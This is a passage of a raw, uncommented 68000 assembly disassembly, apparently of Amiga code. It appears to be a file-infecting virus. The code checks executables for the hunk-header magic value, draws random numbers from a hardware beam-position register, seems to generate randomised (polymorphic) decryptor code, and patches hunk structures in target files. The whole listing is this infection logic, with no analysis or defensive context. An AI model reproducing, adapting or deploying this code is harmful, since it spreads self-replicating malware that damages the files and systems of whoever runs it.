  643.     MOVE.B    D0,(A2)+        ;572: 14C0
  644. LAB_002E:
  645.     MOVE.B    (A0)+,(A2)+        ;574: 14D8
  646.     SUBQ.B    #1,D0            ;576: 5300
  647.     BGT.S    LAB_002E        ;578: 6EFA
  648. LAB_002F:
  649.     RTS                ;57A: 4E75
  650. LAB_0030:
  651.     LEA    16(A4),A1        ;57C: 43EC0010
  652.     MOVEQ    #9,D1            ;580: 7209
  653. LAB_0031:
  654.     MOVE.L    -(A1),-(A7)        ;582: 2F21
  655.     DBF    D1,LAB_0031        ;584: 51C9FFFC
  656.     JSR    (A0)            ;588: 4E90
  657.     LEA    -24(A4),A1        ;58A: 43ECFFE8
  658.     MOVEQ    #9,D1            ;58E: 7209
  659. LAB_0032:
  660.     MOVE.L    (A7)+,(A1)+        ;590: 22DF
  661.     DBF    D1,LAB_0032        ;592: 51C9FFFC
  662.     RTS                ;596: 4E75
  663. LAB_0033:
  664.     MOVE.L    (A3),D0            ;598: 2013
  665.     BEQ.S    LAB_002F        ;59A: 67DE
  666.     SUBA.L    A1,A1            ;59C: 93C9
  667.     MOVEA.L    8(A1,D0.L),A1        ;59E: 22710808
  668.     BSR.S    LAB_0034        ;5A2: 6104
  669.     MOVEA.L    (A3),A1            ;5A4: 2253
  670.     CLR.L    (A3)            ;5A6: 4293
  671. LAB_0034:
  672.     JMP    -690(A6)        ;5A8: 4EEEFD4E
  673.     MOVE.L    (A3),D0            ;5AC: 2013
  674.     BEQ.S    LAB_0033        ;5AE: 67E8
  675.     MOVEA.L    D0,A2            ;5B0: 2440
  676.     LEA    LAB_0046(PC),A0        ;5B2: 41FA0162
  677.     BSR.S    LAB_0030        ;5B6: 61C4
  678.     BRA.S    LAB_0033        ;5B8: 60DE
  679.     MOVE.L    (A3),D0            ;5BA: 2013
  680.     BEQ.S    LAB_002F        ;5BC: 67BC
  681.     MOVEA.L    D0,A2            ;5BE: 2440
  682.     MOVEA.L    (A2)+,A1        ;5C0: 225A
  683.     MOVE.L    -12(A4),D0        ;5C2: 202CFFF4
  684.     BEQ.S    LAB_002F        ;5C6: 67B2
  685.     MOVE.L    D0,D5            ;5C8: 2A00
  686.     ADDA.L    D0,A1            ;5CA: D3C0
  687.     CMPA.L    (A2),A1            ;5CC: B3D2
  688.     BGT.S    LAB_0033        ;5CE: 6EC8
  689.     MOVE.L    A1,-(A2)        ;5D0: 2509
  690.     SUBA.L    D0,A1            ;5D2: 93C0
  691.     MOVEA.L    (A4),A0            ;5D4: 2054
  692.     JSR    -624(A6)        ;5D6: 4EAEFD90
  693.     CMP.L    4(A4),D5        ;5DA: BAAC0004
  694.     BEQ.S    LAB_002F        ;5DE: 679A
  695.     MOVEA.L    (A2)+,A1        ;5E0: 225A
  696.     CMPA.L    (A2)+,A1        ;5E2: B3DA
  697. LAB_0035:
  698.     BNE.S    LAB_0033        ;5E4: 66B2
  699.     MOVEA.L    (A2),A2            ;5E6: 2452
  700.     SUBI.L    #$000003F3,(A2)+    ;5E8: 049A000003F3
  701.     BNE.S    LAB_0033        ;5EE: 66A8
  702.     MOVE.L    A1,-(A7)        ;5F0: 2F09
  703.     MOVE    #$06F5,D5        ;5F2: 3A3C06F5
  704.     ADDA    #$0702,A1        ;5F6: D2FC0702
  705.     DC.W    $41FA            ;5FA
  706.     BCHG    D1,(A2)+        ;5FC: 035A
  707.     BSR    LAB_004B        ;5FE: 61000176
  708.     ADDQ    #4,A2            ;602: 584A
  709.     MOVEA.L    A2,A0            ;604: 204A
  710.     MOVE.L    (A0),D4            ;606: 2810
  711.     ADDQ.L    #1,(A0)            ;608: 5290
  712.     ADDQ.L    #8,A0            ;60A: 5088
  713.     ADDQ.L    #1,(A0)+        ;60C: 5298
  714.     LSL.L    #2,D4            ;60E: E58C
  715.     ADDA.L    D4,A0            ;610: D1C4
  716.     LSR.L    #2,D4            ;612: E48C
  717.     MOVEQ    #0,D3            ;614: 7600
  718.     MOVEQ    #-8,D7            ;616: 7EF8
  719. LAB_0036:
  720.     MOVE.L    (A0)+,D0        ;618: 2018
  721.     SUBI    #$03E8,D0        ;61A: 044003E8
  722.     BPL.S    LAB_0039        ;61E: 6A04
  723. LAB_0037:
  724.     MOVE.L    (A7)+,D0        ;620: 201F
  725. LAB_0038:
  726.     BNE.S    LAB_0035        ;622: 66C0
  727. LAB_0039:
  728.     CMPI    #$000B,D0        ;624: 0C40000B
  729.     BGE.S    LAB_0037        ;628: 6CF6
  730.     MOVE.B    LAB_003A(PC,D0.W),D0    ;62A: 103B0006
  731.     JMP    LAB_003A(PC,D0.W)    ;62E: 4EFB0002
  732. LAB_003A:
  733.     DC.W    $440C            ;632
  734.     DC.W    $0C4C            ;634
  735.     MOVE.L    -4370(A6),(A6)+        ;636: 2CEEEEEE
  736.     MOVEA    D4,A4            ;63A: 3844
  737.     ADDQ.B    #8,D0            ;63C: 5000
  738.     MOVE.L    (A0)+,D1        ;63E: 2218
  739.     TST.L    D7            ;640: 4A87
  740.     BPL.S    LAB_003B        ;642: 6A04
  741.     ADD.L    A0,D7            ;644: DE88
  742.     EOR    D2,(A0)            ;646: B550
  743. LAB_003B:
  744.     CMPI    #$4E75,2(A0)        ;648: 0C684E750002
  745.     BEQ.S    LAB_0037        ;64E: 67D0
  746.     LSL.L    #2,D1            ;650: E589
  747.     ADDA.L    D1,A0            ;652: D1C1
  748. LAB_003C:
  749.     TAS    D3            ;654: 4AC3
  750.     BEQ.S    LAB_0036        ;656: 67C0
  751.     SUBQ    #1,D4            ;658: 5344
  752.     BEQ.S    LAB_0037        ;65A: 67C4
  753.     BRA.S    LAB_0036        ;65C: 60BA
  754. LAB_003D:
  755.     MOVE.L    (A0)+,D1        ;65E: 2218
  756.     BEQ.S    LAB_0036        ;660: 67B6
  757.     ADDQ.L    #1,(A0)+        ;662: 5298
  758.     LSL.L    #2,D1            ;664: E589
  759.     ADDA.L    D1,A0            ;666: D1C1
  760.     BRA.S    LAB_003D        ;668: 60F4
  761. LAB_003E:
  762.     MOVE.L    (A0)+,D1        ;66A: 2218
  763.     BEQ.S    LAB_0036        ;66C: 67AA
  764.     LSL.L    #2,D1            ;66E: E589
  765.     LEA    4(A0,D1.L),A0        ;670: 41F01804
  766.     BRA.S    LAB_003E        ;674: 60F4
  767.     MOVE.L    (A0)+,D1        ;676: 2218
  768.     LSL.L    #2,D1            ;678: E589
  769.     ADDA.L    D1,A0            ;67A: D1C1
  770.     BRA.S    LAB_0036        ;67C: 609A
  771.     ADDQ.L    #4,A0            ;67E: 5888
  772.     BRA.S    LAB_003C        ;680: 60D2
  773.     MOVEQ    #0,D3            ;682: 7600
  774.     SUBQ    #1,D4            ;684: 5344
  775.     BNE.S    LAB_0036        ;686: 6690
  776.     MOVE.L    A0,D3            ;688: 2608
  777.     CMP.L    (A7)+,D3        ;68A: B69F
  778.     BNE.S    LAB_0038        ;68C: 6694
  779.     LEA    LAB_0041(PC),A0        ;68E: 41FA004A
  780.     BSR.S    LAB_003F        ;692: 6104
  781.     LEA    LAB_0040(PC),A0        ;694: 41FA0006
  782. LAB_003F:
  783.     BRA    LAB_0030        ;698: 6000FEE2
  784. LAB_0040:
  785.     MOVEQ    #8,D0            ;69C: 7008
  786.     MOVEQ    #-1,D1            ;69E: 72FF
  787.     MOVEM.L    D0-D1,(A4)        ;6A0: 48D40003
  788.     MOVE    #$03F0,D0        ;6A4: 303C03F0
  789.     BSR.S    LAB_0043        ;6A8: 6148
  790.     MOVE.L    A2,(A4)            ;6AA: 288A
  791.     MOVEQ    #12,D0            ;6AC: 700C
  792.     MOVE.L    D0,4(A4)        ;6AE: 29400004
  793.     MOVEQ    #87,D0            ;6B2: 7057
  794.     BSR.S    LAB_0043        ;6B4: 613C
  795.     ADDQ    #8,A2            ;6B6: 504A
  796.     MOVE.L    D5,(A2)            ;6B8: 2485
  797.     SUB.L    A2,D7            ;6BA: 9E8A
  798.     MOVE.L    A2,(A4)            ;6BC: 288A
  799.     MOVE.L    D7,4(A4)        ;6BE: 29470004
  800.     ADD.L    A2,D7            ;6C2: DE8A
  801.     BSR.S    LAB_0044        ;6C4: 6130
  802.     ADDQ    #3,D5            ;6C6: 5645
  803.     LSL.L    #2,D5            ;6C8: E58D
  804.     MOVEM.L    D3/D5,(A4)        ;6CA: 48D40028
  805.     BSR.S    LAB_0044        ;6CE: 6126
  806.     SUB.L    D7,D3            ;6D0: 9687
  807.     MOVE.L    D7,(A4)            ;6D2: 2887
  808.     MOVE.L    D3,4(A4)        ;6D4: 29430004
  809.     BRA.S    LAB_0044        ;6D8: 601C
  810. LAB_0041:
  811.     MOVEQ    #0,D1            ;6DA: 7200
  812. LAB_0042:
  813.     CLR.L    -4(A4)            ;6DC: 42ACFFFC
  814.     MOVEQ    #16,D0            ;6E0: 7010
  815.     ADD.L    (A3),D0            ;6E2: D093
  816.     MOVEA.L    D0,A0            ;6E4: 2040
  817.     MOVE.L    -(A0),(A4)        ;6E6: 28A0
  818.     LSR.L    #2,D0            ;6E8: E488
  819.     MOVEM.L    D0-D1,4(A4)        ;6EA: 48EC00030004
  820.     MOVEQ    #21,D0            ;6F0: 7015
  821. LAB_0043:
  822.     MOVE    D0,-14(A4)        ;6F2: 3940FFF2
  823. LAB_0044:
  824.     MOVEA.L    A5,A1            ;6F6: 224D
  825.     MOVEA.L    D6,A0            ;6F8: 2046
  826.     PEA    22(A3)            ;6FA: 486B0016
  827.     MOVE.L    (A7)+,-20(A4)        ;6FE: 295FFFEC
  828.     JSR    -366(A6)        ;702: 4EAEFE92
  829. LAB_0045:
  830.     PEA    22(A3)            ;706: 486B0016
  831.     MOVEA.L    (A7),A0            ;70A: 2057
  832.     JSR    -384(A6)        ;70C: 4EAEFE80
  833.     MOVEA.L    (A7)+,A0        ;710: 205F
  834.     JMP    -372(A6)        ;712: 4EEEFE8C
  835. LAB_0046:
  836.     MOVE.L    116(A2),D1        ;716: 222A0074
  837.     BSR.S    LAB_0042        ;71A: 61C0
  838.     ADDA    #$0084,A2        ;71C: D4FC0084
  839.     MOVE.L    A2,8(A4)        ;720: 294A0008
  840.     MOVEQ    #34,D0            ;724: 7022
  841.     BSR.S    LAB_0043        ;726: 61CA
  842.     MOVE.L    A2,D0            ;728: 200A
  843.     LSR.L    #2,D0            ;72A: E488
  844.     ADDQ.L    #3,D0            ;72C: 5680
  845.     MOVE.L    D0,8(A4)        ;72E: 29400008
  846.     MOVEQ    #28,D0            ;732: 701C
  847. LAB_0047:
  848.     BRA.S    LAB_0043        ;734: 60BC
  849. LAB_0048:
  850.     LSR.L    #2,D0            ;736: E488
  851.     MOVE.L    -(A4),D1        ;738: 2224
  852.     LSL.L    #2,D1            ;73A: E589
  853.     SUBA.L    A0,A0            ;73C: 91C8
  854.     MOVE.L    36(A0,D1.L),(A4)+    ;73E: 28F01824
  855.     MOVE.L    (A4),D4            ;742: 2814
  856.     MOVE.L    D0,(A4)            ;744: 2880
  857.     MOVE    #$040A,D0        ;746: 303C040A
  858.     BSR.S    LAB_0047        ;74A: 61E8
  859.     MOVE.L    D4,-4(A4)        ;74C: 2944FFFC
  860.     MOVEQ    #26,D0            ;750: 701A
  861.     BSR.S    LAB_0047        ;752: 61E0
  862.     LEA    16(A2),A2        ;754: 45EA0010
  863.     MOVE.L    (A2),D5            ;758: 2A12
  864.     SUB.L    -(A2),D5        ;75A: 9AA2
  865.     CLR.L    -(A2)            ;75C: 42A2
  866.     SUBQ.L    #8,A2            ;75E: 518A
  867.     RTS                ;760: 4E75
  868. LAB_0049:
  869.     MOVE.B    EXT_0005,D0        ;762: 103900DFF007
  870.     EOR.B    D0,D7            ;768: B107
  871.     ROL    #7,D7            ;76A: EF5F
  872.     MOVE    D7,D0            ;76C: 3007
  873.     RTS                ;76E: 4E75
  874. LAB_004A:
  875.     BSR.S    LAB_0049        ;770: 61F0
  876.     LSR    #8,D0            ;772: E048
  877.     RTS                ;774: 4E75
  878. LAB_004B:
  879.     MOVEM.L    D0-D1/D3-D4/D6-D7/A0-A6,-(A7) ;776: 48E7DBFE
  880.     BSR.S    LAB_0049        ;77A: 61E6
  881.     MOVE    D0,-1752(A0)        ;77C: 3140F928
  882.     MOVE.L    D0,-(A7)        ;780: 2F00
  883.     JSR    -132(A6)        ;782: 4EAEFF7C
  884.     BSR.S    LAB_004A        ;786: 61E8
  885.     LSR.B    #6,D0            ;788: EC08
  886.     MOVE    D0,D4            ;78A: 3800
  887. LAB_004C:
  888.     MOVE    D5,D1            ;78C: 3205
  889.     LSR    #8,D1            ;78E: E049
  890.     BSR.S    LAB_004D        ;790: 6108
  891.     DC.W    $FB74            ;792
  892.     DC.W    $0009            ;794
  893.     DC.W    $000B            ;796
  894.     DC.W    $0009            ;798
  895. LAB_004D:
  896.     MOVEQ    #3,D2            ;79A: 7403
  897.     MOVEA.L    (A7),A3            ;79C: 2657
  898.     MOVEA.L    (A7)+,A2        ;79E: 245F
  899. LAB_004E:
  900.     ADDA    (A2)+,A3        ;7A0: D6DA
  901.     MOVE.B    D1,(A3)+        ;7A2: 16C1
  902.     MOVE.B    D5,(A3)+        ;7A4: 16C5
  903.     DBF    D2,LAB_004E        ;7A6: 51CAFFF8
  904.     LINK    A2,#-138        ;7AA: 4E52FF76
  905.     MOVEA.L    A7,A5            ;7AE: 2A4F
  906.     LEA    18(A5),A4        ;7B0: 49ED0012
  907. LAB_004F:
  908.     MOVEQ    #-64,D1            ;7B4: 72C0
  909.     MOVEQ    #5,D3            ;7B6: 7605
  910. LAB_0050:
  911.     BSR.S    LAB_0049        ;7B8: 61A8
  912.     LSR.B    #5,D0            ;7BA: EA08
  913.     BSET    D0,D1            ;7BC: 01C1
  914.     BNE.S    LAB_0050        ;7BE: 66F8
  915.     MOVE.B    D0,-(A2)        ;7C0: 1500
  916.     DBF    D3,LAB_0050        ;7C2: 51CBFFF4
  917.     ADDQ    #1,D2            ;7C6: 5242
  918.     BEQ.S    LAB_004F        ;7C8: 67EA
  919.     CLR.L    -8(A2)            ;7CA: 42AAFFF8
  920.     MOVEQ    #0,D6            ;7CE: 7C00
  921. LAB_0051:
  922.     BSR.S    LAB_0049        ;7D0: 6190
  923.     MOVE    D0,D2            ;7D2: 3400
  924.     ASR    #2,D2            ;7D4: E442
  925.     BSR.S    LAB_004A        ;7D6: 6198
  926.     LSR.B    #4,D0            ;7D8: E808
  927.     MOVE    D0,D1            ;7DA: 3200
  928.     SUBQ    #8,D1            ;7DC: 5141
  929.     BGT.S    LAB_0051        ;7DE: 6EF0
  930.     LEA    LAB_0015(PC),A3        ;7E0: 47FAFB4E
  931.     MOVE.B    8(A3,D1.W),D1        ;7E4: 12331008
  932.     EXT    D1            ;7E8: 4881
  933.     ADDA    D1,A3            ;7EA: D6C1
  934.     MOVE.B    D6,D3            ;7EC: 1606
  935.     AND.B    (A3),D3            ;7EE: C613
  936.     CMP.B    (A3)+,D3        ;7F0: B61B
  937.     BNE.S    LAB_0051        ;7F2: 66DC
  938.     BSET    D0,D6            ;7F4: 01C6
  939.     BNE.S    LAB_0051        ;7F6: 66D8
  940.     BSR    LAB_004A        ;7F8: 6100FF76
  941.     LSR.B    #6,D0            ;7FC: EC08
  942.     MOVE.B    0(A3,D0.W),D0        ;7FE: 10330000
  943.     ADDA    D0,A3            ;802: D6C0
  944.     BSR.S    LAB_0056        ;804: 616C
  945.     MOVE    D6,D0            ;806: 3006
  946.     LSL    #7,D0            ;808: EF48
  947.     BPL.S    LAB_0051        ;80A: 6AC4
  948.     MOVEA.L    -(A2),A3        ;80C: 2662
  949.     MOVE.L    A4,D0            ;80E: 200C
  950.     SUB.L    A3,D0            ;810: 908B
  951.     ADD    D0,(A3)            ;812: D153
  952.     MOVE.L    A4,D1            ;814: 220C
  953.     SUB.L    A5,D1            ;816: 928D
  954.     ADDA    D1,A1            ;818: D2C1
  955.     MOVEA.L    A1,A3            ;81A: 2649
  956.     MOVE.L    D5,D6            ;81C: 2C05
  957.     ADD    D1,D5            ;81E: DA41
  958. LAB_0052:
  959.     MOVE.B    -(A0),D0        ;820: 1020
  960.     MOVEQ    #2,D3            ;822: 7602
  961. LAB_0053:
  962.     MOVE    -(A5),D2        ;824: 3425
  963.     MOVEA.L    -(A5),A2        ;826: 2465
  964.     JSR    (A2)            ;828: 4E92
  965.     DBF    D3,LAB_0053        ;82A: 51CBFFF8
  966.     LEA    18(A5),A5        ;82E: 4BED0012
  967.     MOVE.B    D0,-(A3)        ;832: 1700
  968.     DBF    D6,LAB_0052        ;834: 51CEFFEA
  969.     SUBQ    #1,D1            ;838: 5341
  970. LAB_0054:
  971.     MOVE.B    -(A4),-(A3)        ;83A: 1724
  972.     DBF    D1,LAB_0054        ;83C: 51C9FFFC
  973.     MOVEA.L    A1,A0            ;840: 2049
  974.     LEA    142(A7),A7        ;842: 4FEF008E
  975.     DBF    D4,LAB_004C        ;846: 51CCFF44
  976.     JSR    -138(A6)        ;84A: 4EAEFF76
  977.     ADDQ    #7,D5            ;84E: 5E45
  978.     LSR    #2,D5            ;850: E44D
  979.     BCS.S    LAB_0055        ;852: 6502
  980.     ADDQ    #2,A1            ;854: 5449
  981. LAB_0055:
  982.     LEA    (EXT_0002).W,A2        ;856: 45F803F2
  983.     MOVE.L    A2,(A1)            ;85A: 228A
  984.     MOVE.L    LAB_0018(PC),-(A3)    ;85C: 273AFB90
  985.     EXT.L    D5            ;860: 48C5
  986.     MOVE.L    D5,-(A3)        ;862: 2705
  987.     SUBQ    #8,A2            ;864: 514A
  988.     SUBQ    #1,A2            ;866: 534A
  989.     MOVE.L    A2,-(A3)        ;868: 270A
  990.     MOVE.L    (A7)+,D2        ;86A: 241F
  991.     MOVEM.L    (A7)+,D0-D1/D3-D4/D6-D7/A0-A6 ;86C: 4CDF7FDB
  992.     RTS                ;870: 4E75
  993. LAB_0056:
  994.     MOVE.B    (A3)+,D0        ;872: 101B
  995.     EXT    D0            ;874: 4880
  996.     MOVE.B    LAB_005B(PC,D0.W),D0    ;876: 103B005E
  997.     EXT    D0            ;87A: 4880
  998.     JSR    LAB_005B(PC,D0.W)    ;87C: 4EBB0058
  999.     BRA.S    LAB_0056        ;880: 60F0
  1000.     MOVE.L    -8(A2),D0        ;882: 202AFFF8
  1001.     SUB.L    A4,D0            ;886: 908C
  1002.     MOVE    D0,(A4)+        ;888: 38C0
  1003.     BRA.S    LAB_0059        ;88A: 602A
  1004. LAB_0057:
  1005.     ANDI    #$0007,D2        ;88C: 02420007
  1006.     ADDQ    #1,D2            ;890: 5242
  1007.     RTS                ;892: 4E75
  1008.     MOVEQ    #0,D0            ;894: 7000
  1009.     BRA.S    LAB_0058        ;896: 600C
  1010.     BSR.S    LAB_0057        ;898: 61F2
  1011.     MOVE    D2,D0            ;89A: 3002
  1012.     NEG    D0            ;89C: 4440
  1013.     BRA.S    LAB_0058        ;89E: 6004
  1014.     BSR.S    LAB_0057        ;8A0: 61EA
  1015.     MOVE    D2,D0            ;8A2: 3002
  1016. LAB_0058:
  1017.     MOVE.L    A4,-4(A2)        ;8A4: 254CFFFC
  1018.     MOVE    D0,(A4)+        ;8A8: 38C0
  1019.     RTS                ;8AA: 4E75
  1020.     BSR.S    LAB_005C        ;8AC: 6168
  1021.     LSL.B    #4,D1            ;8AE: E909
  1022.     MOVE.B    D1,(A4)+        ;8B0: 18C1
  1023.     MOVE.B    D2,(A4)            ;8B2: 1882
  1024.     NEG.B    (A4)+            ;8B4: 441C
  1025. LAB_0059:
  1026.     ADDQ.L    #4,A7            ;8B6: 588F
  1027.     RTS                ;8B8: 4E75
  1028.     BSR.S    LAB_005C        ;8BA: 615A
  1029.     ROR    #7,D1            ;8BC: EE59
  1030. LAB_005A:
  1031.     BSR.S    LAB_005D        ;8BE: 6160
  1032.     OR    D0,D1            ;8C0: 8240
  1033.     MOVE    D1,(A4)+        ;8C2: 38C1
  1034.     RTS                ;8C4: 4E75
  1035.     BSR.S    LAB_005C        ;8C6: 614E
  1036.     BRA.S    LAB_005A        ;8C8: 60F4
  1037.     BSR.S    LAB_005C        ;8CA: 614A
  1038.     ROR    #7,D1            ;8CC: EE59
  1039.     MOVE    D1,D0            ;8CE: 3001
  1040.     BSR.S    LAB_005C        ;8D0: 6144
  1041.     OR    D0,D1            ;8D2: 8240
  1042.     BRA.S    LAB_005A        ;8D4: 60E8
  1043. LAB_005B:
  1044.     ASR    -(A4)            ;8D6: E0E4
  1045.     DC.W    $F0F4            ;8D8
  1046.     MOVE.B    (A4),D4            ;8DA: 1814
  1047.     MOVE.L    7894(A2),D1        ;8DC: 222A1ED6
  1048.     DC.W    $ACB6            ;8E0
  1049.     MOVEA    (A2),A0            ;8E2: 3052
  1050.     CMPA    A2,A7            ;8E4: BECA
  1051.     AND    (A6)+,D1        ;8E6: C25E
  1052.     MOVEQ    #0,D1            ;8E8: 7200
  1053.     MOVE.B    (A3)+,(A4)+        ;8EA: 18DB
  1054.     MOVE.B    (A3)+,(A4)+        ;8EC: 18DB
  1055.     MOVE.B    (A3)+,(A4)+        ;8EE: 18DB
  1056.     MOVE.B    (A3)+,(A4)+        ;8F0: 18DB
  1057.     RTS                ;8F2: 4E75
  1058.     ASR.B    #1,D2            ;8F4: E202
  1059.     EXT    D2            ;8F6: 4882
  1060.     BSR.S    LAB_005D        ;8F8: 6126
  1061.     ADD    D2,D0            ;8FA: D042
  1062.     MOVE    D0,(A4)+        ;8FC: 38C0
  1063.     RTS                ;8FE: 4E75
  1064.     MOVE    D2,(A4)            ;900: 3882
  1065.     NEG    (A4)+            ;902: 445C
  1066.     BRA.S    LAB_0059        ;904: 60B0
  1067.     BSR.S    LAB_005C        ;906: 610E
  1068.     BSR.S    LAB_005D        ;908: 6116
  1069.     MOVE    D0,(A4)            ;90A: 3880
  1070.     LSL    #5,D2            ;90C: EB4A
  1071.     LSR    #4,D2            ;90E: E84A
  1072.     OR.B    D2,(A4)+        ;910: 851C
  1073.     OR.B    D1,(A4)+        ;912: 831C
  1074.     BRA.S    LAB_0059        ;914: 60A0
  1075. LAB_005C:
  1076.     MOVEQ    #0,D1            ;916: 7200
  1077.     MOVE.B    (A3)+,D1        ;918: 121B
  1078.     MOVE.B    0(A2,D1.W),D1        ;91A: 12321000
  1079.     RTS                ;91E: 4E75
  1080. LAB_005D:
  1081.     MOVE.B    (A3)+,D0        ;920: 101B
  1082.     LSL    #8,D0            ;922: E148
  1083.     MOVE.B    (A3)+,D0        ;924: 101B
  1084.     RTS                ;926: 4E75
  1085. LAB_005E:
  1086.     TST.L    -8(A2)            ;928: 4AAAFFF8
  1087.     BNE.S    LAB_005F        ;92C: 6604
  1088.     MOVE.L    A4,-8(A2)        ;92E: 254CFFF8
  1089. LAB_005F:
  1090.     RTS                ;932: 4E75
  1091.     BSR.S    LAB_005E        ;934: 61F2
  1092.     MOVE.B    (A3)+,D0        ;936: 101B
  1093.     MOVE.B    D0,(A4)+        ;938: 18C0
  1094.     MOVE.B    9(A2),(A4)        ;93A: 18AA0009
  1095.     BSET    #4,(A4)+        ;93E: 08DC0004
  1096. LAB_0060:
  1097.     NOT.B    D2            ;942: 4602
  1098.     BEQ.S    LAB_0060        ;944: 67FC
  1099.     MOVE    D2,(A4)+        ;946: 38C2
  1100.     MOVE.B    (A3)+,D1        ;948: 121B
  1101.     EXT    D1            ;94A: 4881
  1102.     PEA    0(A3,D1.W)        ;94C: 48731000
  1103.     MOVE.L    (A7)+,(A5)+        ;950: 2ADF
  1104.     MOVE    D2,(A5)+        ;952: 3AC2
  1105.     END
  1106.